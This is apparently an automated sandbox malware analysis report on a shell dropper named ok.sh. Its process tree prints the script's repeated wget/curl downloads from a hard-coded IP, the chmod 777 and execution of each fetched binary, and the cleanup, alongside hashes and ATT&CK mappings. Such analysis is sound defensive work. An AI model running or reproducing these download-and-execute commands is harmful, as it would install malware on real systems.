ddb5ff03dc232e15045540e739348b41d53701b23a712137cefbc042c9840714

Analysis

max time kernel
6s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/06/2026, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260620-ksb7psfs7x
SHA256 ddb5ff03dc232e15045540e739348b41d53701b23a712137cefbc042c9840714
MD5 94ec905c348821e2bf1604b2a66bfbdf
SHA1 2a9e862eb0350e24a0886c3c492f19794ea8ac27
SHA512 b5375034a80e6ed2dd3419e7d0a0a75410d3404b1f65e7f0c61fc982c6424194e6d62873bcaa4c035a37c4c484b2ef3c4028b5aa24ee92e8be676e650a04f836
TLSH
T12B3160EA11102D355342C9CEB7B3318D744CC5EB6C9BD3A4D8490EE9829C9CC72A5FA4
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
716	chmod
739	chmod
766	chmod
773	chmod
824	chmod
671	chmod
686	chmod
695	chmod
759	chmod
789	chmod
811	chmod
679	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/3d8453	673	ok.sh
/tmp/8f1b48	680	ok.sh
/tmp/9e0d2e	687	ok.sh
/tmp/1f93d1	697	ok.sh
/tmp/3a0dd5	718	ok.sh
/tmp/23d922	740	ok.sh
/tmp/ed800c	760	ok.sh
/tmp/29849a	767	ok.sh
/tmp/168767	774	ok.sh
/tmp/f14ad7	791	ok.sh
/tmp/4acf91	813	ok.sh
/tmp/d90292	825	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3d8453	curl
File opened for modification	/tmp/9e0d2e	curl
File opened for modification	/tmp/168767	curl
File opened for modification	/tmp/f14ad7	curl
File opened for modification	/tmp/4acf91	curl
File opened for modification	/tmp/d90292	curl
File opened for modification	/tmp/8f1b48	curl
File opened for modification	/tmp/1f93d1	curl
File opened for modification	/tmp/3a0dd5	curl
File opened for modification	/tmp/23d922	curl
File opened for modification	/tmp/ed800c	curl
File opened for modification	/tmp/29849a	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://5.182.210.61/3d8453
  2⤵
  PID:649
- /usr/bin/curl
  curl -O http://5.182.210.61/3d8453
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:666
- /bin/chmod
  chmod 777 3d8453
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/3d8453
  ./3d8453 bc
  2⤵
  PID:673
- /bin/rm
  rm -rf 3d8453
  2⤵
  PID:675
- /bin/rm
  rm -rf 3d8453.1
  2⤵
  PID:676
- /usr/bin/wget
  wget http://5.182.210.61/8f1b48
  2⤵
  PID:677
- /usr/bin/curl
  curl -O http://5.182.210.61/8f1b48
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 8f1b48
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/8f1b48
  ./8f1b48 bc
  2⤵
  PID:680
- /bin/rm
  rm -rf 8f1b48
  2⤵
  PID:682
- /bin/rm
  rm -rf 8f1b48.1
  2⤵
  PID:683
- /usr/bin/wget
  wget http://5.182.210.61/9e0d2e
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://5.182.210.61/9e0d2e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 9e0d2e
  2⤵
  - File and Directory Permissions Modification
  PID:686
- /tmp/9e0d2e
  ./9e0d2e bc
  2⤵
  PID:687
- /bin/rm
  rm -rf 9e0d2e
  2⤵
  PID:689
- /bin/rm
  rm -rf 9e0d2e.1
  2⤵
  PID:690
- /usr/bin/wget
  wget http://5.182.210.61/1f93d1
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://5.182.210.61/1f93d1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod 777 1f93d1
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/1f93d1
  ./1f93d1 bc
  2⤵
  PID:697
- /bin/rm
  rm -rf 1f93d1
  2⤵
  PID:700
- /bin/rm
  rm -rf 1f93d1.1
  2⤵
  PID:701
- /usr/bin/wget
  wget http://5.182.210.61/3a0dd5
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://5.182.210.61/3a0dd5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/chmod
  chmod 777 3a0dd5
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/3a0dd5
  ./3a0dd5 bc
  2⤵
  PID:718
- /bin/rm
  rm -rf 3a0dd5
  2⤵
  PID:721
- /bin/rm
  rm -rf 3a0dd5.1
  2⤵
  PID:722
- /usr/bin/wget
  wget http://5.182.210.61/23d922
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://5.182.210.61/23d922
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 23d922
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/23d922
  ./23d922 bc
  2⤵
  PID:740
- /bin/rm
  rm -rf 23d922
  2⤵
  PID:743
- /bin/rm
  rm -rf 23d922.1
  2⤵
  PID:745
- /usr/bin/wget
  wget http://5.182.210.61/ed800c
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://5.182.210.61/ed800c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 ed800c
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/ed800c
  ./ed800c bc
  2⤵
  PID:760
- /bin/rm
  rm -rf ed800c
  2⤵
  PID:762
- /bin/rm
  rm -rf ed800c.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.61/29849a
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.61/29849a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 29849a
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/29849a
  ./29849a bc
  2⤵
  PID:767
- /bin/rm
  rm -rf 29849a
  2⤵
  PID:769
- /bin/rm
  rm -rf 29849a.1
  2⤵
  PID:770
- /usr/bin/wget
  wget http://5.182.210.61/168767
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://5.182.210.61/168767
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 168767
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/168767
  ./168767 bc
  2⤵
  PID:774
- /bin/rm
  rm -rf 168767
  2⤵
  PID:776
- /bin/rm
  rm -rf 168767.1
  2⤵
  PID:777
- /usr/bin/wget
  wget http://5.182.210.61/f14ad7
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://5.182.210.61/f14ad7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 f14ad7
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/f14ad7
  ./f14ad7 bc
  2⤵
  PID:791
- /bin/rm
  rm -rf f14ad7
  2⤵
  PID:794
- /bin/rm
  rm -rf f14ad7.1
  2⤵
  PID:796
- /usr/bin/wget
  wget http://5.182.210.61/4acf91
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://5.182.210.61/4acf91
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 4acf91
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/4acf91
  ./4acf91 bc
  2⤵
  PID:813
- /bin/rm
  rm -rf 4acf91
  2⤵
  PID:816
- /bin/rm
  rm -rf 4acf91.1
  2⤵
  PID:817
- /usr/bin/wget
  wget http://5.182.210.61/d90292
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://5.182.210.61/d90292
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 d90292
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/d90292
  ./d90292 bc
  2⤵
  PID:825
- /bin/rm
  rm -rf d90292
  2⤵
  PID:827
- /bin/rm
  rm -rf d90292.1
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3d8453

Path /tmp/3d8453
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads